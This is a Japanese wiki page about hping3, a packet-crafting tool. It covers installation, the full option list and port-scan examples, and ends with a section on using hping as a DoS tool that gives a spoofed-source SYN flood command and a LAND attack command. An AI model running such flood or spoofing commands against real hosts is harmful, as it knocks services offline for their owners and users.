「hping」の版間の差分
提供: セキュリティ
(ページの作成：「<!-- vim: filetype=mediawiki --> [[{{PAGENAME}}]] とは、TCP/IP パケットのアセンブラー/アナライザー用のコマンドラインツールです。 ...」) |
(相違点なし)
|
2013年5月19日 (日) 18:58時点における版
hping とは、TCP/IP パケットのアセンブラー/アナライザー用のコマンドラインツールです。 Unix の pingコマンドをインスパイアしたインタフェースですが、ICMPエコーリクエスト を送信できません。TCP, UDP, ICMP と RAW-IP プロトコルをサポートしており、traceroute モード、ファイル送信の機能、そのほか多くの機能があります。hping は、おもにセキュリティツールとして使われてきました。
読み方
- hping
- えいち ぴんぐ、えいち ぴん
目次
概要
hping とは、TCP/IP パケットのアセンブラー/アナライザー用のコマンドラインツールです。 Unix の pingコマンドをインスパイアしたインタフェースですが、ICMPエコーリクエスト を送信できません。TCP, UDP, ICMP と RAW-IP プロトコルをサポートしており、traceroute モード、ファイル送信の機能、そのほか多くの機能があります。hping は、おもにセキュリティツールとして使われてきました。
- ファイアーウォール テスティング
- 高度なポートスキャニング
- ネットワークテスティング、異なるプロトコルの利用、 TOS、フラグメンテーション
- マニュアル パス MTU ディスカバリー
- 高度な traceroute
- リモート OS フィンガープリンティング
- リモートアップタイムゲスティング
- TCP/IP スタック監査
インストール
FreeBSDにインストールする場合
ports コレクションからインストールする場合
cd /usr/ports/net/hping sudo make install clean
pkgコマンドでインストールする場合
sudo pkg install hping
portmasterコマンドでインストールする場合
sudo portmaster -y -d /usr/ports/net/hping
portinstallコマンドでインストールする場合
sudo portinstall /usr/ports/net/hping
BackTrack Linux
BackTrack Linux (BT5) だと hping3 と hping2 というコマンドがあります。hping そのもののコマンドは付属していません。
使い方
コマンドラインオプション
% hping3 --help usage: hping host [options] -h --help show this help -v --version show version -c --count packet count -i --interval wait (uX for X microseconds, for example -i u1000) --fast alias for -i u10000 (10 packets for second) --faster alias for -i u1000 (100 packets for second) --flood sent packets as fast as possible. Don't show replies. -n --numeric numeric output -q --quiet quiet -I --interface interface name (otherwise default routing interface) -V --verbose verbose mode -D --debug debugging info -z --bind bind ctrl+z to ttl (default to dst port) -Z --unbind unbind ctrl+z --beep beep for every matching packet received Mode default mode TCP -0 --rawip RAW IP mode -1 --icmp ICMP mode -2 --udp UDP mode -8 --scan SCAN mode. Example: hping --scan 1-30,70-90 -S www.target.host -9 --listen listen mode IP -a --spoof spoof source address --rand-dest random destionation address mode. see the man. --rand-source random source address mode. see the man. -t --ttl ttl (default 64) -N --id id (default random) -W --winid use win* id byte ordering -r --rel relativize id field (to estimate host traffic) -f --frag split packets in more frag. (may pass weak acl) -x --morefrag set more fragments flag -y --dontfrag set dont fragment flag -g --fragoff set the fragment offset -m --mtu set virtual mtu, implies --frag if packet size > mtu -o --tos type of service (default 0x00), try --tos help -G --rroute includes RECORD_ROUTE option and display the route buffer --lsrr loose source routing and record route --ssrr strict source routing and record route -H --ipproto set the IP protocol field, only in RAW IP mode ICMP -C --icmptype icmp type (default echo request) -K --icmpcode icmp code (default 0) --force-icmp send all icmp types (default send only supported types) --icmp-gw set gateway address for ICMP redirect (default 0.0.0.0) --icmp-ts Alias for --icmp --icmptype 13 (ICMP timestamp) --icmp-addr Alias for --icmp --icmptype 17 (ICMP address subnet mask) --icmp-help display help for others icmp options UDP/TCP -s --baseport base source port (default random) -p --destport [+][+]<port> destination port(default 0) ctrl+z inc/dec -k --keep keep still source port -w --win winsize (default 64) -O --tcpoff set fake tcp data offset (instead of tcphdrlen / 4) -Q --seqnum shows only tcp sequence number -b --badcksum (try to) send packets with a bad IP checksum many systems will fix the IP checksum sending the packet so you'll get bad UDP/TCP checksum instead. -M --setseq set TCP sequence number -L --setack set TCP ack -F --fin set FIN flag -S --syn set SYN flag -R --rst set RST flag -P --push set PUSH flag -A --ack set ACK flag -U --urg set URG flag -X --xmas set X unused flag (0x40) -Y --ymas set Y unused flag (0x80) --tcpexitcode use last tcp->th_flags as exit code --tcp-timestamp enable the TCP timestamp option to guess the HZ/uptime Common -d --data data size (default is 0) -E --file data from file -e --sign add 'signature' -j --dump dump packets in hex -J --print dump printable characters -B --safe enable 'safe' protocol -u --end tell you when --file reached EOF and prevent rewind -T --traceroute traceroute mode (implies --bind and --ttl 1) --tr-stop Exit when receive the first not ICMP in traceroute mode --tr-keep-ttl Keep the source TTL fixed, useful to monitor just one hop --tr-no-rtt Don't calculate/show RTT information in traceroute mode ARS packet description (new, unstable) --apd-send Send the packet described with APD (see docs/APD.txt)
sudo sudo hping3 --scan 1-30 -S -V localhost using lo, addr: 127.0.0.1, MTU: 16436 using lo, addr: 127.0.0.1, MTU: 16436 Scanning localhost (127.0.0.1), port 1-30 30 ports to scan, use -V to see all the replies +----+-----------+---------+---+-----+-----+-----+ |port| serv name | flags |ttl| id | win | len | +----+-----------+---------+---+-----+-----+-----+ 1 tcpmux : ..R.A... 64 0 0 40 2 nbp : ..R.A... 64 0 0 40 3 : ..R.A... 64 0 0 40 4 echo : ..R.A... 64 0 0 40 5 : ..R.A... 64 0 0 40 6 zip : ..R.A... 64 0 0 40 7 echo : ..R.A... 64 0 0 40 8 : ..R.A... 64 0 0 40 9 discard : ..R.A... 64 0 0 40 10 : ..R.A... 64 0 0 40 11 systat : ..R.A... 64 0 0 40 12 : ..R.A... 64 0 0 40 13 daytime : ..R.A... 64 0 0 40 26 : ..R.A... 64 0 0 40 27 : ..R.A... 64 0 0 40 28 : ..R.A... 64 0 0 40 29 : ..R.A... 64 0 0 40 14 : ..R.A... 64 0 0 40 15 netstat : ..R.A... 64 0 0 40 16 : ..R.A... 64 0 0 40 18 msp : ..R.A... 64 0 0 40 20 ftp-data : ..R.A... 64 0 0 40 24 : ..R.A... 64 0 0 40 30 : ..R.A... 64 0 0 40 17 qotd : ..R.A... 64 0 0 40 19 chargen : ..R.A... 64 0 0 40 21 ftp : ..R.A... 64 0 0 40 22 ssh : .S..A... 64 0 32792 44 23 telnet : ..R.A... 64 0 0 40 25 smtp : ..R.A... 64 0 0 40 All replies received. Done. Not responding ports:
$ sudo hping3 --scan 1-30 -S -V foo.com using eth1, addr: 192.168.60.128, MTU: 1500 Scanning foo.com (192.168.60.100), port 1-30 30 ports to scan, use -V to see all the replies +----+-----------+---------+---+-----+-----+-----+ |port| serv name | flags |ttl| id | win | len | +----+-----------+---------+---+-----+-----+-----+ 25 smtp : .S..A... 128 58881 64240 46 21 ftp : .S..A... 128 59137 64240 46 22 ssh : .S..A... 128 59393 64240 46 23 telnet : .S..A... 128 59649 64240 46 All replies received. Done. Not responding ports: (1 tcpmux) (2 nbp) (3 ) (4 echo) (5 ) (6 zip) (7 echo) (8 ) (9 discard) (10 ) (11 systat) (12 ) (13 daytime) (14 ) (15 netstat) (16 ) (17 qotd) (18 msp) (19 chargen) (20 ftp-data) (24 ) (26 ) (27 ) (28 ) (29 ) (30 )
DoS ツールとしての hping
SYN 攻撃
-i u1000 は、1000マイクロ秒ごと を意味します。
hping3 -I eth1 -a target.com -S test.com -p 80 -i u1000
LANG 攻撃
hping3 -a target.com -S test.com -p 21